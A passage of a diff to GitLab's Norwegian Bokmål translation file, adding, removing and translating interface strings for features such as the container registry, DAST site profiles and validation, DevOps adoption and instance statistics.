+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr "Noe gikk galt under innhenting av opprydningsretningslinjen."
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr "Noe gikk galt under innhenting av kodelagerlisten."
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr "Beklager, filteret ditt ga ingen resultater."
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr "Etiketten ble vellykket merket for sletting."
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr "Etikettene ble vellykket merket for sletting."
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7386,7 +7609,7 @@ msgid "Contributions per group member"
msgstr "Bidrag per gruppemedlem"
msgid "Contributor"
-msgstr ""
+msgstr "Bidragsyter"
msgid "Contributors"
msgstr "Bidragsytere"
@@ -8038,9 +8261,6 @@ msgstr "Tilpass farger"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr "Tilpass ikon"
@@ -8101,6 +8321,9 @@ msgstr "Fletteforespørsel lukket"
msgid "CycleAnalyticsEvent|Merge request created"
msgstr "Fletteforespørsel opprettet"
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr "DAG"
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr "Er du sikker på at du vil slette profilen?"
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr "Vil du forkaste denne nettstedsprofilen?"
msgid "DastProfiles|Do you want to discard your changes?"
msgstr "Vil du forkaste dine endringer?"
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr "Rediger nettstedsprofilen"
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr "Detaljer om feilen"
@@ -8370,9 +8590,18 @@ msgstr "Ny nettstedsprofil"
msgid "DastProfiles|No profiles created yet"
msgstr "Ingen profiler er opprettet enda"
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr "Nettstedsprofil"
msgid "DastProfiles|Site Profiles"
msgstr "Nettstedsprofiler"
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
+msgstr "MÃ¥l-URL"
+
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
-msgstr "MÃ¥l-URL"
+msgid "DastProfiles|Username form field"
+msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
-msgstr "Tekstfilvalidering"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
+msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate"
-msgstr "Valider"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
-msgid "DastProfiles|Validate target site"
-msgstr "Valider målnettstedet"
+msgid "DastSiteValidation|Text file validation"
+msgstr ""
-msgid "DastProfiles|Validating..."
-msgstr "Validerer …"
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr "Standardtrinn"
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr "Definisjon"
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr "Slett brukerliste"
msgid "Delete variable"
msgstr "Slett variabel"
-msgid "DeleteProject|Delete %{name}"
-msgstr "Slett %{name}"
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr "mislyktes"
msgid "Deployment|running"
msgstr "kjører"
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr "suksess"
@@ -9114,6 +9361,9 @@ msgstr "Beskriv kravet her"
msgid "Description"
msgstr "Beskrivelse"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr "%{filename} forble det samme."
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr "Design"
msgid "DesignManagement|Discard comment"
msgstr "Forkast kommentar"
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr "Feil under opplasting av et nytt design. Vennligst prøv igjen."
@@ -9285,15 +9541,9 @@ msgstr "Detaljer (standard)"
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr "DevOps"
-
msgid "DevOps Report"
msgstr "DevOps-rapport"
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr "Vis kilden"
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr "Last ned artefakter"
msgid "Download as"
msgstr "Last ned som"
-msgid "Download as CSV"
-msgstr "Last ned som CSV"
-
msgid "Download codes"
msgstr "Last ned koder"
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr "MÃ¥ldato"
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "Rediger saker"
@@ -9809,6 +10131,9 @@ msgstr "E-post %{number}"
msgid "Email Notification"
msgstr "E-postvarsling"
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr "E-post kunne ikke sendes"
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr "Tom fil"
msgid "Enable"
msgstr "Slå på"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr "Aktiver HTML e-poster"
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "Skru på PlantUML"
@@ -10071,7 +10402,7 @@ msgid "Encountered an error while rendering: %{err}"
msgstr ""
msgid "End Time"
-msgstr ""
+msgstr "Sluttid"
msgid "Ends at (UTC)"
msgstr "Slutter den (UTC)"
@@ -10280,6 +10611,9 @@ msgstr "Viser for øyeblikket alle resultater."
msgid "Environments|Delete"
msgstr "Slett"
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr "Slett miljø"
@@ -10391,6 +10725,9 @@ msgstr "Stopp miljø"
msgid "Environments|Stopping"
msgstr "Stopper"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr "Det oppstod en feil under innhenting av loggfilene. Vennligst prøv igjen."
@@ -10628,9 +10965,6 @@ msgstr "Feil ved henting av mal."
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr "Feilmelding:"
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr "En feil oppstod. Brukeren ble ikke ublokkert"
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr "Feil"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr "Feil:"
@@ -10979,6 +11319,9 @@ msgstr "Eksporter"
msgid "Export as CSV"
msgstr "Eksporter som CSV"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr "Eksporter gruppe"
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr "Mislyktes i å fjerne brukernøkkel."
msgid "Failed to reset key. Please try again."
msgstr "Mislyktes i å tilbakestille nøkkel. Vennligst prøv igjen."
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr "Mislyktes i å oppdatere saker, please try igjen."
msgid "Failed to update tag!"
msgstr "Mislyktes i å oppdatere etikett!"
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr "Mislyktes i å oppdatere."
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] "%d bruker"
@@ -11473,6 +11831,9 @@ msgstr "Nytt funksjonsflagg"
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr "Sett Unleash-klientapplikasjonsnavnet til navnet på miljøet som applikasjonen kjører i. Denne verdien brukes til å samsvare med miljøomfang. Se %{linkStart}eksempelklientoppsettet%{linkEnd}."
@@ -11560,6 +11918,9 @@ msgstr "Feb"
msgid "February"
msgstr "Februar"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr "Filnavn"
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11612,7 +11973,7 @@ msgid "File upload error."
msgstr "Filopplastingsfeil."
msgid "Filename"
-msgstr ""
+msgstr "Filnavn"
msgid "Files"
msgstr "Filer"
@@ -11728,12 +12089,6 @@ msgstr "Finn eksisterende medlemmer med navn"
msgid "Find file"
msgstr "Finn fil"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr "Fingeravtrykk"
@@ -11758,9 +12113,6 @@ msgstr "Første dagen i uken"
msgid "First name"
msgstr "Fornavn"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr "Først sett"
@@ -11806,9 +12158,6 @@ msgstr "FogBugz-importering"
msgid "Folder/%{name}"
msgstr "Mappe/%{name}"
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr "Skriftfarge"
@@ -11893,6 +12242,9 @@ msgstr "Fant feil i din %{gitlab_ci_yml}:"
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "Fant feil i din .gitlab-ci.yml:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr "Gratis prøveperiode"
@@ -11920,9 +12272,6 @@ msgstr "Fra %{code_open}%{source_title}%{code_close} til"
msgid "From %{providerTitle}"
msgstr "Fra %{providerTitle}"
-msgid "From Google Code"
-msgstr "Fra Google Code"
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12401,7 +12750,7 @@ msgid "GitHub import"
msgstr "GitHub-import"
msgid "GitLab"
-msgstr ""
+msgstr "GitLab"
msgid "GitLab / Unsubscribe"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12422,7 +12774,7 @@ msgid "GitLab Issue"
msgstr "Gitlab-sak"
msgid "GitLab Pages"
-msgstr ""
+msgstr "GitLab-sider"
msgid "GitLab Service Desk is a simple way to allow people to create issues in your GitLab instance without needing their own user account. It provides a unique email address for end users to create issues in a project, and replies can be sent either through the GitLab interface or by email. End users will only see the thread through email."
msgstr "GitLab-tjenestedesken er en enkel måte å la folk opprette saksrapporter i din GitLab-forekomst uten å behøve sin egen brukerkonto. Det sørger for en unik e-postadresse for sluttbrukere til å opprette saksrapporter i et prosjekt, og svar kan sendes enten via GitLab-grensesnittet eller via e-post. Sluttbrukere vil bare se tråden via e-post."
@@ -12442,6 +12794,9 @@ msgstr "GitLab-bruker"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab-commit"
@@ -12652,15 +13007,12 @@ msgstr "GÃ¥ tilbake"
msgid "Go back (while searching for files)"
msgstr "Gå tilbake (mens du søker etter filer)"
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr "GÃ¥ til fullskjerm"
-msgid "Go to %{link_to_google_takeout}."
-msgstr "GÃ¥ til %{link_to_google_takeout}."
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr "Google Code-importering"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr "Ingen start- eller sluttdato"
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr "Ingen startdato – %{dateWord}"
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "Er du sikker på at du vil forlate «%{fullName}»-gruppen?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "Opprett en prosjekt i denne gruppen."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Opprett en undergruppe i denne gruppen."
-
msgid "GroupsTree|Edit group"
msgstr "Rediger gruppe"
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr "DÃ¥rlig helse"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "Heisann"
@@ -13640,9 +13989,6 @@ msgstr "Hvor mange skår å dele opp Elasticsearch-indeksen i."
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr "Hvordan oppgraderer man"
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "Du er imidlertid allerede et medlem av denne %{member_source}. Logg på med en annen konto for å godta invitasjonen."
@@ -13784,6 +14130,9 @@ msgstr "Hvis dette var en feil, kan du forlate %{source_type}."
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13818,7 +14167,7 @@ msgid "Image URL"
msgstr "Bilde URL"
msgid "Image details"
-msgstr ""
+msgstr "Bildedetaljer"
msgid "ImageDiffViewer|2-up"
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr "Importer CSV"
msgid "Import Projects from Gitea"
msgstr "Importer prosjekter fra Gitea"
-msgid "Import all compatible projects"
-msgstr "Importer alle kompatible prosjekter"
-
-msgid "Import all projects"
-msgstr "Importer alle prosjekter"
-
msgid "Import an exported GitLab project"
msgstr "Importer et eksportert GitLab-prosjekt"
@@ -13917,9 +14260,6 @@ msgstr "Importer prosjekter fra FogBugz"
msgid "Import projects from GitLab.com"
msgstr "Importer prosjekter fra GitLab.com"
-msgid "Import projects from Google Code"
-msgstr "Importer prosjekter fra Google Code"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Importer kodelagre fra Bitbucket Server"
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr "Koble til kodelagre fra"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr "Kodelageret kunne ikke bli opprettet."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr "Under arbeid"
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr "Innkommende e-post"
msgid "Incoming!"
msgstr "Innkommende!"
-msgid "Incompatible Project"
-msgstr "Inkompatibelt prosjekt"
-
msgid "Incompatible options set!"
msgstr ""
@@ -14251,7 +14591,7 @@ msgid "Insert code"
msgstr "Sett inn kode"
msgid "Insert image"
-msgstr ""
+msgstr "Sett inn bilde"
msgid "Insert inline code"
msgstr ""
@@ -14260,7 +14600,7 @@ msgid "Insert suggestion"
msgstr "Sett inn forslag"
msgid "Insert video"
-msgstr ""
+msgstr "Sett inn video"
msgid "Insights"
msgstr "Innsikter"
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr "Installer en myksjetongautentikator som %{free_otp_link} eller Google Autentisering fra applikasjonskodelageret ditt og bruk den appen til å skanne QR-koden. Mer informasjon er tilgjengelig i dokumentasjonen %{help_link_start}%{help_link_end}."
@@ -14306,73 +14643,79 @@ msgstr[1] "Instanser"
msgid "Instance Configuration"
msgstr "Instans-oppsett"
-msgid "Instance Statistics"
-msgstr "Instansstatistikker"
-
msgid "Instance administrators group already exists"
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr "Alle detaljer"
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr "Kommentardetalj:"
@@ -14444,7 +14790,16 @@ msgstr "Inkluderer commit-tittelen og grenen"
